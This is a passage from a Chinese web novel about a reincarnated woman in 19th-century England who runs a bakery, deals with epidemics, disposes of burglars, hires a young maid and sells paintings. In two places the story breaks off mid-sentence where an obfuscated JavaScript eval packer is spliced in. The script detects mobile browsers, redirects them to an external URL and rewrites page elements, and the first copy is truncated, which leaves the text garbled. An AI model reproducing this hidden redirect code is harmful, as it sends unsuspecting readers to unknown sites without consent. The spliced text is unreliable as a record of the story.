这个让人无语的时代,有些医生甚至还不如古代华籍游医。当然,也是从这时开始了各种现代西医理论和实践,包括药物,比如金鸡纳碱奎宁,当然人工合成则是现代的事了。她还记得上辈子的医院里想尽办法给前线医疗队送去的万颗奎宁不够用,还是有人死去、更多的人因为生病丧失战斗力而死去……不想了,现在还没有奎宁呢!更不要说阿司匹林,还有绕不开必须提一句的海!洛!因!——看名字就知道当初公司对此寄予了多高的期望,赚钱的英雄呢——这俩如雷贯耳的名字都是百年拜耳公司的“当家”产品。 想到多少医生宣传海.洛.因是新一代无毒害、不上瘾药物,苏茜就感到一阵恶寒。不行,她要去找石英砂、二氧化锰和无烟煤,这样滤出来的才安全,一些吧。 大早上的,听着外面又下起来的雨,苏茜开始认真刷牙,洗脸,抹几滴橄榄油加玫瑰水。她不是不想用甘油,而是现在售卖的甘油距离医用级别还有很远的距离,完全不知道其制作过程中混入了多少足以毁容的杂质,压根不敢往脸上抹。 另外,这个牙刷和牙粉,其过程也是满腹心酸,更不要说味道呛人、效果感人的肥皂。可惜,她的收藏品里没找到手工皂的详细制作方法,只能多抹橄榄油免得手指皮肤完蛋。顺便说一句,拿着刀砍罐头也是件挺有意思的事,所以苏茜都是亲自上手,免得将来碰到什么需要公开武力值的场合会露馅。 “居然两点就卖光了!”新来的客人为店里大部分甜点都卖光了的事实大吃一惊。这还没到傍晚呢!她纠结着,买走了最后一个招牌奶酪坚果面包。佛莉表示好伤心,本来她以为这是自己明天的早餐来着。 “这几天突然多了很多陌生客人。” “那我们多准备些特色甜点吧。”尤其是贵的。 说做就做,在基本卖光的时候甜点铺就挂上今日售罄的牌子,大家开始清理收拾一楼店面和垃圾,准备她们和猫的晚饭,以及第二天一早用到的食材。夏季的展示样品是不卖的,因为很可能有蚊蝇光顾过,所以再被说是浪费,苏茜都会将这些大多数人看来还能吃的食物扔进炉火里烧成炭灰再扔掉的,免得喂了老鼠和其他动物。岛上的绿肥则是每天剩下或扔掉的生鲜蔬果。 “下午好,女士们,我是来送货的。”一名看上去像是学徒工的青年从一辆普通货运马车上跳下来,很有礼貌地进来招呼。 “哦,二氧化锰原料!”苏茜反应过来,非常高兴地将人和箱子迎进来,签好收条,给了尾款和小费,外加一袋本来想当晚饭的面包。今晚就吃西红柿肉酱通心粉吧! “这是?”二氧化锰?啥玩意? “过滤水的材料。”她以前只买过工业化成品锰砂,根本没见过这样“原始”的材料,不过颗粒不算太大,可以用。“现在材料齐了,我们可以做出来更加安全的过滤装置,不用担心患上通过水源传染的疾病。” 但是飞沫传播的虽然死亡率低些,却更麻烦。为此,苏茜只能用12层纱布缝合后装上棉绳戴在脸上,美其名曰不要让店员的口水星子碰到食物上。 这种方式获得了顾客的一致好评。 一位一边咳嗽一边还在挑挑拣拣选购甜点的女客很愉快地说,“老板娘,你真是太贴心了。” 苏茜在客气聊天的同时,默默记下对方碰过和凑近咳嗽的食物,等她走后立刻将那几个不便宜的点心抓在一张报纸里扔进炉子,过程中自己的手也不碰到。虽然浪费了可能近两英镑,但总比生病好。 “太太?”奥内拉轻声问。那么多点心呢!怎么回事?那位第一次来的女士有什么问题吗? “她生病了,会传染给我们和其他人的。”苏茜轻声回答。 奥内拉深吸一口气。这两年大家最怕到处跑的病人了,生怕自己也病倒甚至病亡。 接下来的一周内,镇上和周边农庄起码有三十个人发高热。又过了一周,有一位老人和一个孩子病亡了。问题是大家还要聚集起来参加葬礼。 “最好不要参加这样聚焦的活动。谁也不知道会不会传染到,镇上的医生一点办法也没有不是吗。”开的药完全没用。医生和药师都是拒绝公布自己的“秘方”,但是苏茜花了大把皮斯托尔买来的药剂和医疗方面的书籍,上面对发烧列出的各种配方起码有一半让人牙疼。倒是一些草药可能确实有效,但如果不对症搞不好还会加重。这种病毒性呼吸道感染,如果一开始只吃保暖驱寒的药剂,那就是找死了。但愿医生和药剂师从“长期实践”中得到了一些经验吧。 不过,凭借不是那么专业的眼光和一堆后世专业书,苏茜从这个时代的药剂原料和草药里挑选了几种,亲自去购买回来蒸馏和挑配了一款提升免疫力的保健品和一种辅助减缓发热跟咳嗽的药剂。 这味道——佛莉皱了皱鼻子,一口焖了。大家都怕病,更怕死。 “不是说喝了这个不生病,而是降低生病的可能。所以出门戴口罩,每半天拿下来在开水里煮半小时。坏了就拿新的。” 她们一有空就做新口罩,煮口罩消毒,尤其是客人们喝过的杯子每次都要煮过才拿出来用,因此有个小炉子一直在烧火,房子在湿冷的初冬里显得温暖干燥。 “你们这里真舒服。”可偏偏生病的人还爱跑出门跟人扎堆聊天就讨厌了。 “是的,奥内拉这几天不太舒服。我也在打喷嚏,所以得暖和些。”苏茜戴着口罩亲自出面。两位女仆的体质跟体能其实都比她差多了,只不过后者她不会刻意表现出来。 客人略少,食物却无法少,因为不少人家里的厨师女仆包括主人都病倒了,得买现成的食物。对了,镇上有一家餐厅也歇业,因为只剩一个厨师助手完好,其他人都有些病症。 苏茜还新上架了几款可以当饭吃的三明治、咸口面包和蔬果馅饼之类,同时茶叶的销量也增加了,毕竟开水一加就行,比咖啡方便料理。 等这一波感染过去已经是冬天了,全镇前后过世了十几人,其中半数是五十岁以上的长者。苏茜还参加了其中两场葬礼,从头到尾戴着厚实而不是展露风情的灰黑面纱。 圣诞前,大家过来买圣诞苏茜推出的甜点。 然后有不少人“荣幸”地看到斑点猫逮了只老鼠弄死后炫耀给奥内拉看的景象。 “谢天谢地,现在不是认为猫带来黑死病的年代。” “那是欧洲,文盲那么多,才那么蠢。哦,一辈子不洗澡的圣人!虫子在溃烂伤口上蠕动、到死也坚持不清洗的圣人。” “不得不说,香水就是这样被发明出来的。” “跳蚤,苍蝇,虱子,蚊子,都是传播疾病的途径。”苏茜补充了一句,“黑死病的时候,伦敦也因为把猫都杀死了而死了很多人。”这种故事她记得最清楚嘿嘿。 “……” 镇上新搬来了一批居民,所以居民区扩大了一点,另外周边的农庄也转手了两桩交易。 “都是伦敦来的人。而且很不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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等今天关门已经是五点了。要不是苏茜之前抽空去炖了蔬菜羊腿,三个人大概又得靠三明治打发一餐。 真是累死了。 随便弄了明天要用到的材料,三个人都躺上了床。 夜里,苏茜突然被一个轻微的警报声惊醒,边跳下床边迅速摸出枕头下的短刀和钢绳,顺手披上她自己做的羊毛皮一体猎装式样短上衣。警报小机关是她放在二楼起居室窗上的,上辈子港城订制,现在拿出来声音小了、灵敏度差了,但机械性能还可以。她的卧室没窗,她是将卧室道起居室间的门上留了个门洞作为通风取暖口。这个门也是加固的,非得斧子猛砍才行。 她将门上的铁闩移开,等着。 很快这扇门上传来动静,有人悄悄打开门,探头,结果脖子上被一个细细的东西狠狠勒住,挣扎了十几秒就断气了。 苏茜又一路移动到窗边。沿途没有血迹和痕迹,很好。 窗外,没有月光,但是她直觉还有放风的。 但显然,她搞错了,因为另一个人也爬了进来。 中间只隔了几分钟?虽然奇怪,但她立刻送这个人去见了撒旦。 窗外应该没有人。但她耐心却暴躁地等了一个小时才去处理垃圾。 两个都不认识,三十不到、中等个头的男性,带了匕.首、刀片、绳子,还有本地特色的“□□”,大布口袋。绳子居然有好几根,口袋足以装人。苏茜估计他们除了盗窃还想做别的比如绑架之类。 不论是此时本地的还是她受影响最深的美丽坚农场主时代,这种非法闯入被地主开木仓打死是应有之义,更不要说修士时代的闯入者被拿来炼尸都是活该。 就是没有战利品。即使有战利品也是别人被盗走的财物。又给她的大海增加了一点有机和无机垃圾之后,苏茜重新上报警装置,关门。睡觉。 镇上乡绅兼治安官提醒大家要注意看紧家里的小孩,因为前段时间有两个不到九岁的孩子丢了,还都是家境不错的家庭。苏茜不知道那俩入室被团灭的是不是也和人贩子有关,反正没人找她问情况就行。 这地方与其指望警察,还不如街上吼一声找大家一起来打坏人有用。 另外,交通工具和中转地点、中下游人手之类有没有? 第三天,有人发现一匹无主的到处啃别家菜园子的马,还有一辆马拉小货车、空箱子之类,就是没有人。要不是因为怕担上盗窃的罪名被绞死,被马啃了的园主很想将马和车占为己有。 最后治安官出面将马和车“暂存”在他家,顺便赔偿了菜园主人一个银币的损失。 苏茜当然是赞同该项决定的。之后两个月,本地也没有拐卖儿童的事,估计那两人是单独来此地行动的。 其实有同伙也无所谓,她只希望有战利品。就跟上辈子解决了起码三个窃贼、两拨敲诈的人,她弄到了好几柄冷热武.器和两条大金链子——对了,合计换成两百多法郎,当成收藏了。 …… 镇子这一带相比伦敦空气清新、水质优良,食物供应虽然品种少、但质量好,掺假兑水的情况好得多。只有冬季稍冷一些。 新年过后的礼拜天,突然下了一场小雪,差点导致交通运输问题。反正不少人在去教堂途中摔跤,还有骨折的。最严重的是一位快七十的女士,摔跤后没几天就过世了。 苏茜对雪后的路况非常了解,当然一点问题也没有。不过—— “……老人摔跤确实很危险。所以你平时一定多吃乳制品,每天坚持散步,哪怕在房子里走也好,不要吃肥肉,不要情绪太激动。上帝保佑你,一定会活到八十岁的。”苏茜对一位已经七十五岁,平时与人为善还能善待动物的老太太道。对方也是她的常客,并且按照她的建议吃完甜点就用浓茶水漱口。搞到最后,老太太家里以及周围不少人都到她这里买茶叶。 不过她确实没听到有人因为龋齿而亡,也极少有人牙痛得不行最后被拔掉的。这个年代的拔牙,感染发烧概率应该有一半,死亡概率也不会太低。还有,她的牙齿也维持在一个还算是健康的水平,对得起远超后世电动牙刷、水牙线、漱口水和牙膏的口腔卫生成本。另外,去年她才搞定原材料问题,自己蒸馏得到的植物纯露混合后成为天然漱口水,光这“古老”的装置成本就超过几十箱漱口水,搞得她都打算卖漱口水回本了。 另外一个颇为无奈的成本就是过滤水,滤材的消耗堪比用依云做饮用和烹饪用水。要不是两位能干女仆的基本工资没有比滤材高多少,她还真的想干脆将房产卖了去城里租间不需要房东提供食物的公寓,每天待在岛上生活。 说实话,平时有人按她的指点做饭、做售卖的食品,雇人隔几天来清洁和洗衣——因为没有洗衣粉消毒液洗衣机的关系,她自己洗并不会比别人洗来得干净——这日子还算是不错的。 24.国王亦凡人(五) “祝你们幸福。”为苏茜工作四年后,佛莉步了奥内拉的后尘,辞职结婚了。她原以为自己不孕,因此不再考虑结婚,没想到居然与男友有了孩子。 “谢谢你,太太。”佛莉尤其感激这位雇主。不仅给她几年的平静生活和优渥薪资,还送了两块颜色好看的体面毛呢料子和一个金币作为结婚礼物,与奥内拉的待遇相同。 真可惜,丈夫在伦敦有份不错的工作,她无法再为太太工作了。 甜点店在奥内拉结婚的时候就关门了。 “……太累了,每天六点不到就要起床,中间很少有休息的时间,下午开始又要准备第二天的材料,要工作到晚上八点。主要是很多事情需要我自己来调配,尤其是口味上,很多凭感觉的东西很难用食谱定量来描述。”苏茜出教堂的时候跟一群问她是不是要重新招店员太太们道。 其实大家是想问她什么时候重新开张。 却等来了她将房子连家具尤其是厨房及其用品全部打包卖给面包坊老板的消息。 “除了毯子、衣服和书,还有我自己用的餐具和中国绿茶,其他的茶叶、咖啡、食材,家具摆设,过滤水桶,我都不带走。”四百五十镑的转让价格里,其实有八十磅是她留下的完整食谱和剩下的大量进口茶叶以及进货渠道,甚至过滤水和滤材的购买渠道。面粉之类的食材面包坊压根不缺。 律师费和印花税都是买家付的。 苏茜又不是看不懂文件里的关窍,去掉两条不利于自己的条款、让步三十英镑,其他按买家的意思来。 最后她拿了四百二十英镑的汇票,坐着麦克驾的车走人。送她到城里,之前住过的那间旅馆。 “住一周。” “好的,罗西诺太太。” 店员已经换人了,她也没有与老板娘招呼,也没提出额外的要求。 事实上,她只是来办个手续。 城里其实也就是个大镇,繁华程度和房价比伦敦差了一大截。她兑现了卖房汇票后,只花了一百八十镑就买下了警察局不远处的三层无阁楼无地下室联排公寓中的一个单元。说是三层楼,一楼只有一个门没有窗,过道、楼梯、储藏间和一间老式厨房,二楼是一个起居室和一间不大的卧室,三楼则是两间卧室没有起居室。没有壁纸,呃,同样是免交壁纸税。卧室都有一米五到一米六的床和不一样的柜子,起居室的桌椅居然挺好,唯一的壁炉也是清洁过的,厨房的炉子烟囱也是完好的。 最重要的是没有厕所!后街有个倾倒马桶,不,便桶的地方。但很多人家还是会“遵循传统”,从窗户直接倒下去……所以这个单元靠后街的二楼窗干脆是封掉的,省税又避免异味。但三楼前后两扇窗都是完好的,与周围一样的拱形带玻璃窗户。 不考虑实用性的话,外观和内里还是不错的。 “面积小了点,适合人口不多的家庭。女仆只能住杂物间,或者雇佣兼职女仆也是个好选择。” 中介跟苏茜介绍这第二套房子的时候,她就决定买了。无他,距离警察局近。 “那么麻烦你给我介绍一个清洁女仆吧,每周来两次,时间可以灵活,负责清理一楼和二楼包括炉子和烟囱在内,可以带孩子做帮手。”她给的是兼职女仆中的高价,但是允许小帮手的意思就是活儿不轻。 “好的,太太。”中介还是很高兴的,来求他找工作的女仆不少,其中带着半大孩子的起码有三个。这位寡妇经济实力一般,连仆人也雇不起,居然还要自己做饭,但也没有贫困到只能租住一间屋子的地步。 而办手续的同时,苏茜在到处找食品供货商。要找个不惨假的商人是需要人脉的,于是她给了常去的餐厅的厨师助手两个银币,得到了一个比较靠谱的名单。除了需要购买的量略大人家才卖,其他没有不好的。 虽然没有冰箱,大部分时候肉类浸过盐水或生煸过的话放两天没问题,寒冬时节能更久一点。所以她只需要两天出一次门采购生鲜食品,而面粉之类可以存放的东西当然是整袋的买。 至于餐具,她有很多、很多存货。除了已经成了垃圾当绿肥的竹木制品外,成套和不成套的贵金属和瓷器餐具可以再用十几辈子不需要买新的——就是没有可以说明出处的古董。 哦,菜刀和调理碗板之类是需要买新的。 在花大价钱找人在一楼安装抽水马桶后,苏茜去采购亚麻床单、毯子、棉布被套等等。无拉链被套这种东西布料店没见过,不过在她描述之后很快就做出来了,同时收到苏茜支付的一先令一条的加工费。现在的棉纺织品价格还算便宜吧?苏茜突然想起来南北战争打起来后不再出口棉花而导致曼彻斯特纺织工厂停产、工人失业,后来才有了埃及棉。 就跟前几年海外发行的公债反过来让工厂大量关停,今年好像才缓过来。可惜,本地的“砖家”们找了一堆奇奇怪怪的理由,包括留着长辫子的华籍劳工,就是没人认为这是市场、供应、贪欲和乱作为的政.府都出了问题导致的经济危机——跟老家的辫子、小脚和大烟比起来,这里堪称天堂。 起码,不提有时会倒灌上来的气味,抽水马桶的质量还是不错的,一点不漏水。 此外,城市里的空气和水源显然不行,但有一点异味的“自来水”和镇子上买不到的商品比如经期用品等等很丰富,食材供应则多了若干倍,不需要为了半磅材料不得不去批发五磅。 连制作漱口水的精油乃至工业酒精都有现货!可惜她不会做固体酒精凝胶。 但在看见有新款“香皂”的时候,苏茜毫不犹豫地买了。这个年纪脸上依然长痘,说明不是青春期痤疮,而是身体加上一点皮肤的问题,因此清洁和护理是必需。 可这个年代的护肤品都是“秘方”自制,起码一半的产品有害,更不要说致命致残化妆品一抓一大把——可也总比绝望的中世纪好。想起来有一回自己就在黑暗年代“觉醒”,而且已经染病……虽然那几天根本没有计入她的“人生”,比战场更恐怖的环境让她永远不会忘记。 摇摇头,拎着东西冲回家。 下雨了,及时带着伞也免不了裙子被打湿。而这种天气里所有的出租马车都不空——是要“走”快点。 一阵风带过,让其他撑伞和没有撑伞的路人目瞪口呆。 “刚才,是过去了一个人吧?”而且是女人,腰不太细的样子。 “是,难道这么胖还能跑那么快。”他的同伴懒得多提。 “很胖?”胖子速度能那么快?! “腰很粗。” “哦。平民吧。”也许是个没钱好好束腰的平民,那伞绝对是便宜货。 “哼!” 一旁经过的两个“平民”对视一眼。这俩家伙看上去有点钱,但不是多有势力的样子。偷了不容易被抓。 【跟上?】 【废话!】 …… 苏茜并不知道自己成了一场入室窃案的引子。 回到家,兼职女仆带着不到十二周岁的大女儿已经提前到了,正在门廊下躲雨。 “抱歉,玛丽,抱歉,梅丽尔,我耽搁了一点时间。” “没关系,罗西诺太太,是我早到了。” 二十八九岁、和母亲一起要养活三个孩子的女仆正是需要工资的时候。 苏茜将一楼二楼的打扫交给玛丽,还让梅丽尔小姑娘一起帮忙烧炉子,然后用香皂洗手后准备晚餐食材,包括用自制发酵液准备面包胚。烧木头留下的碳灰她都是回收到岛上改善土壤的,虽然玛丽对此感到奇怪,但不会说什么。就像雇主让她不需要上三楼,她和女儿就只清洁到三楼楼梯口——当然她们是进不去的,因为门都锁着,必须大力劈开的那种。 “玛丽,梅丽尔有别的工作吗?” “不,只有一些我可以带上的零工。”她不乐意女儿当妓.女,但周围人都鼓动她早点让大女儿出去“做生意”,甚至已经有不怀好意的家伙盯上小姑娘。所以她都不敢让大女儿一个人出门。 “她如果乐意的话,可以在这里当杂役女仆,住在一楼的那间小房间。管吃,每个季度做一身衣服,每周薪水三先令,直到十七岁。你仍然负责每周两次的清洁,顺便看看女儿。”梅丽尔的这个年纪在城市里极其危险,而小姑娘看上去并不想去做皮.肉生意。不管是善心还是找人跑腿打杂,反正苏茜觉得这应该是个好主意,尤其是每次来工作,两个女子明显是清理过自己的。 “感谢您的善心,女士!上帝保佑您!”玛丽高兴地差点跪下。 “非常感谢你的慷慨,我会努力工作的!”梅丽尔大眼睛扑闪着。这是个好看的女孩,还没有如她的母亲那样被生活折磨得衰老。 “我也确实需要有人帮我做杂事。”苏茜直接给了十先令,让母女将杂物间收拾出来就回去打包行李,添置衣服。“我不太会做衣服,你拿十先令去买新衣服、新鞋子和新床单,下周一这个时间来报道工作。其他的我这里都有。”她手头还有不少可以给女仆的半旧外套、帽子、毯子、手袋、腰带等等。另外,杂物间一堆东西底下居然有张一米宽但颇为结实的木床架,省了不少力气。 “好的!太太,我会买好的让梅丽尔带来。”十先令不少了!在她们家都可以做全家的衣服了。但玛丽很清楚雇主的意思,就是十先令都花掉。可以省下几个便士的路费针线费,但不要买太差劲的衣服丢雇主的脸。还有床单,明显就是要新的,绝对没有虫蚤的那种。 苏茜点头。跟有经验阅历、三观比较正的女仆才好沟通,这也是之前在镇子上她直接放弃招新人重新开店的原因之一。 转头,她去街对面的铺子买了女管家级别的寝具、餐具之类,还订了一批木头和木炭。清爽的夏季上个月就结束,湿冷的深秋快到了。 * * * “太太?”梅丽尔第一次上三楼。 “进来。”苏茜招手。“作业带来了吗?” “带来了。”梅丽尔差点表情扭曲。见过要女仆做作业的雇主吗?她家的就是!从识字、算术开始,还有作业!她现在都能看懂花体字了,就是写还差一点。 三楼是两间差不多的房间,梅丽尔不知道女主人住哪间更多,但对方两间都住是事实。 现在苏茜坐在有软垫的扶手高背椅上,穿着羊毛室内鞋,披着羊绒披肩,身前是高脚炭盆,手边是一壶热茶,手中放下的是一本书,但书名梅丽尔不认识,因为是外语。 “需要热水吗?” “不用。”苏茜看完作业,全对。礼拜日教会学校学了一年的学生的水平。倒是算数还不错,二百以内的加减法居然全对,特别是货币方面的。“把这几册书看完,再抄一遍。不用急着看完,天气越来越不好,点灯看书对眼睛不好。”一盏煤油灯是彻夜亮着的,为两个人晚上用一楼的马桶和厨房提供照明,但光线也就是不会撞头。 “好的,太太。”梅丽尔去二楼卧室改的晾衣烘被间看书抄书去了。房间里原来结实的红木床则早就被苏茜收到岛上去了,三楼的反而是普通木架床——反正她睡的时候不多,尤其是城市的夏夜和冬夜,一个热一个冷,真是够呛。现在这样的天气,她都是拿了木头回岛上烧,盖一床厚毯子就行。至于这时贵死人的羽绒被和厚薄不均的羽毛被,她就不浪费钱了。倒是毯子,是真羊毛,纯得一丝化纤也没有,她都不舍得直接盖,而是用上不比毯子便宜多少的被套。 苏茜用“昂贵”被套的生活习惯现在梅丽尔也很适应了,因为被套确实比毛毯容易清洁,就是洗衣费用不菲,这种冬天,主人让一直烧火热水,洗衣也是加了热水不至于手生冻疮的,只是一年五块大块肥皂、四块“昂贵”香皂和两大瓶“贵重”精油,以及她工资的成本远超找洗衣女工来洗。可,如果找了洗衣女工,梅丽尔的工作就不那么稳当了。光是一个生炉子摘菜的活计只需要跟母亲一样的兼职女仆就行了,每天最多两小时,对她家的生活没有太大帮助。 另外就是定期在洗衣物、毛巾和被套等纺织品的水里放一种味道诡异,需要戴着自制纱布口罩的液体。还要在室内窗边“晒”衣服。呃,有阳光来晒吗? 苏茜表示:有没有阳光并不重要,有点紫外线就行。没有紫外线只加点自制消毒液也成。苯酚和纯露加到水里,非常糟糕但无可奈何的方法,而且不能经常用。谁让滴露衣物消毒大概要近百年后才出现呢! 她平时不社交,只有搬来时送了邻居买来的甜点,之后除了采买就不再对外,二楼起居室基本就用作教学小课堂和她一个人用餐的地方。邻居们也都不是多热衷社交的正常家庭。 这排房子因为面积狭小、实用功能不高的关系,大部分是大学生或单身汉合租,另外有开店夫妻只回来睡个觉,私奔情侣租住等着继承财产,做情妇的带着孩子不出门,还有个说不太清楚的培训班。总之,没有交往的必要。 晚餐是苏茜跟梅丽尔一起做的,两人吃的差不多,只是苏茜多一杯清茶。 一年的良好饮食睡眠下来,梅丽尔长高了近三英寸,不再是瘦小的可怜样,衣服鞋子也买了好几身新的——苏茜给现金让她自己去买成衣或是做衣服——看上去就像是体面人家的贴身小女仆,尤其是她会读写算术做菜,整个人气质变化很大,连她的外祖母都快不认识她了。 “太太,杂志上登出来了。” 梅丽尔开邮箱后拿到一个大邮包,里面有两本样刊和一张十二镑的汇票。 十二镑这个堪称高额报酬的数字,主要归功于她的版画作已经允许报社拿了她的食谱和成品版画作为出版物的插图。 此时的印刷术跟一百年后不是一回事,所以苏茜放弃了油画,而是用版画的形式,显然效果不错。不得不否认,她是在处理法国收集的那些恶心小册子时得到的灵感:将黑白图画效果好的甜品、菜品画下来,然后配上食谱。 第一篇“成功”后,杂志跟她签了长约,同样尺寸、质量和字数给予这个价格。 每幅画算上构思、实践和文字等的时间,不赶工的话需要一个月的时间。加上返工修改之类,去掉画的成本,一年大概能净挣六十多镑,加上一点“年金”。 想起来著名女作家奥斯汀一生赚到的版税都不到笔下班纳特家一年的收入,苏茜觉得自己还行吧。 “圣诞快乐!” “圣诞快乐!” 街上过节过新年的气氛不错。 苏茜亲手做了低糖低脂柴火蛋糕和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17035982|193506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坚果蔬菜烤鹅。梅丽尔做了浓汤和配菜,压根没有做主食。即使去掉皮和肥肉,一只鹅也让她们吃了两顿才吃完。苏茜还送了梅丽尔一双从二楼到室外都能穿的绒鞋作为圣诞礼物。 圣诞前的一期女性家庭杂志就是以她的柴火蛋糕和好几道适合圣诞大餐的画作为封面。听说下半年出版一本食谱会将她签约投稿所有的版画都聚集起来——她本人除了样书,是不会有额外版税收入的。 苏茜毫不在意地左右手轮流刻画,一边画一副静物油画。 油画是一种烧时间烧金钱的创作。梅丽尔眼看着雇主在一大张白纸上用铅笔勾勒线条,然后开始在画布上从构图开始一点点加入光线颜色。 难得的阳光从窄小的玻璃窗外照进小小的书房。窗边的书桌上放着笔和墨水瓶,以及几张摊开的白纸和一本夹着书签的书,其中一张纸上整整齐齐地是半段小说文字,只是仔细看的话只有两句对话。茶壶嘴似乎还冒着热气,杯垫上的杯子放得有些歪。桌边的书架上起码有三种语言的书籍,椅子看上去并不昂贵,但是椅上的绣花坐垫明显手工非常精致。椅背上还搭着一条看上去很温暖的披肩,而观众对面的墙上则是一幅女仆趴在有花瓶的桌上打瞌睡的画作。另外还有不少别致的木雕小装饰品,充满了异国风情。 整幅画陆陆续续画了大半年时间,也不卖,就是放在起居室里。梅丽尔经常驻足看一会儿才走开。极少的访客也会驻足看一会儿。 一年后,这幅画扣掉所得税、颜料费和中介费之后以一百多镑的价格卖掉了。 “太太,那幅画的价值远远高于一百镑!”梅丽尔快成年了,身高已经跟苏茜差不多,身材看上去壮实有力得多——掰手腕和跑步的话肯定是苏茜赢。 “反正那幅画我自己不是很满意。拿去卖了换颜料还是值得的。”她才不会去买昂贵的颜色,便宜的统统来一份!然后将白纸剪成比较小的块,用铅笔画出不同的春夏花草树木图案,排列组合成一个花园。但落到画布上时,中心多了一位美貌的丹凤眼东方贵妇,服饰发型偏唐代,但没有奇怪的眉形和大圆脸小眼睛,而更接近法兰西美人的脸型。缀满宝石的印度风项链,三支各不相同却成套的手镯,高耸发髻上九只不同花型的金钗,还有身上织着牡丹、云纹、翟羽的华丽丝绸。 其实画得不是很好,细节不仅粗糙还有很多错误,但胜在超出观众想象的东方华丽风情,完全符合痴迷东方的女画家人设。 这一幅净赚两百多镑,也就是美术专业优秀毕业生在校时的作品售价作品——还不是毕业后的价格,但可能比过于普通的学生作品强些。 而食谱书在几经折腾后才姗姗来迟地出版。 卖得还行。但与苏茜没有半点关系,因为版画都已经买断了。 杂志上,甜点仍然在被介绍的过程中。她还有几十种没写呢,但与杂志的合约到期了,对方找到了新的、更便宜、更会添加一堆情绪废料的作者;而她干脆扔下麻烦费手的版画,转到油画上。也就是两年卖一幅的节奏,价格始终没有高于三百镑,可见这个世界对没有名气的女画家有多不友好。 好在苏茜卖画只是为了找个有档次的事情做,用来解释自己的收入来源。女作家做不了,女画家还是可以凑合的,总比这个时代的女护士或者说助产士强——名声可能都不如老家古代稳婆。要知道南丁格尔这个时候大概正在普鲁士还是哪里学习护理知识?至于女教师,仅有极少数贵族女校里的教师比较体面,大部分家庭女教师除非出身阅历不一般,不然其地位也就比女仆高一点。 可居然有白痴来找一位女画家去当法语教师兼女伴,这真的有些搞笑了。 “……这种伴随的说法往往不是很好的意思。”苏茜补充了一句,“所以我个人建议尽量不要在法籍正经淑女面前用这个词,哪怕确实是考虑做情妇。” “……啊,我对法语不那么了解。”有些懵圈的邻居太太——如果确实有结婚文件的话——被苏茜的说法震得头晕。虽然其实她大概知道确实是那个意思,但也不能放在明面上说是不。 “没事,这只是特定时期的一种心理。你知道的,几十年前那一场,死的人太多。前几年又折腾了不少人命。也许这几年巴黎人的心情会好一点点。但是……巴黎的风格就是高兴一天是一天,哪怕明天被砍头。”苏茜漫不经心地拿起画板,“你介意我将你的戒指画进油画或版画里吗?我的画虽然不出名,但也是出售的。那枚戒指可能作为一位意籍美人的装饰品。” “啊,好,好的,”邻居太太惊愕于这位邻居的身份和身家跟自己之前得到的消息完全不同。画家!真的假的? “不用拿下来,我只需要画个素描草稿。”苏茜快速地刷刷刷。不到六分钟就将戒指画了下来,还给对方过目。 “你是个画家啊?!”真的!几分钟就将每一处细节都画出来了,比例也完全看不出问题。 “卖不出多高的价格。你知道的,画一幅画需要几个月,但两幅画中可能只有一幅能卖超过一百镑,另一幅是白白浪费至少二十镑的颜料。”她还给对方看了一幅半成品,只有两片区域有完整的色彩,包括一棵开满绚烂花朵的树,以及颜色是乳蓝色的湖面。 有这种颜色的湖水吗? 还有那花是什么品种? 邻居太太迷迷糊糊地被打发走,回到住处才反应过来自己被拒绝了。算了,人家是位女画家,搞艺术的跟她们这些交际人士不一样,而且对方不很缺钱:一个女仆、一栋公寓,年收入超过一百镑,肯定看不上朋友给的半年三十镑加一些“机会”。最重要的是,她被那幅画超出想象力的颜色给震惊住了,但偏偏那幅画又像是写实般栩栩如生,就仿佛画家亲眼见到过似的。 苏茜确实见过这样的湖,这样的树,这样的山和这样的建筑,只是这些从来没有在现实里的同一个地点出现过。因为如此颜色的湖水就是冰川湖水,但满树红、黄、白挤挤挨挨的花则是热带产的,山是她曾经在华州买过的山林农场所在,而建筑是修士世界的宇清堂,山上的树木却是各种灵木和温带树木花朵,反正花的颜色保证将手头的所有便宜颜料都用到。东方风格与充满想象力的人物已经是她画作的主要特色,所以在这处高山湖泊边有个曾经的她的背刀修士背影也没问题,混搭地十分“和谐”。 这幅画价格不高,但她画得挺开心。 即使巴黎又出现流血事件也不会让她动容。 城里的小报当然不如伦敦的多,但巴黎那么多人死掉还是值得写好些日子的。最搞笑的是“起.义”的共.和派贵族跑去跟国王谈判。 梅丽尔给苏茜念完两篇头条。主仆二人也开始不耐烦了。 “就死这么一点人啊!”也好意思说起.义。或者说,“他们肯定想不到普通民众压根不会想那么多,大家也就是希望能挣到面包。愿意饿着肚子去打仗的人都已经被现实磨平了。” 梅丽尔也无语。这都是什么跟什么。还有那个什么侯爵,她居然被雇主纠正了读音!但这样也好,她成了这条街法籍名字发音最准确的女仆,还是巴黎口音哦! 等这幅同样是东方风情的画卖掉没多久,本地,或者说整个欧洲,又出现了霍乱。 25.国王亦凡人(六) 城里的霍乱病人并不多,确切的说这几年下水道增加了不少,很多人也知道水源与霍乱之类疾病的关系——最后连官.方都不得不承认民间医生说得对,水源污染导致了霍乱大流行。所以这次不再是一死一大片。 于是没有恶性的内容可写的报纸开始大肆报道巴黎那边的死亡情况。 其实伦敦受感染的人数并不少。 “太太,对面那边的集市上,有个卖菜的说,伦敦那边腹泻和发烧的病人突然很多,而且还不是跟以前那样喝同一个水井的人。” 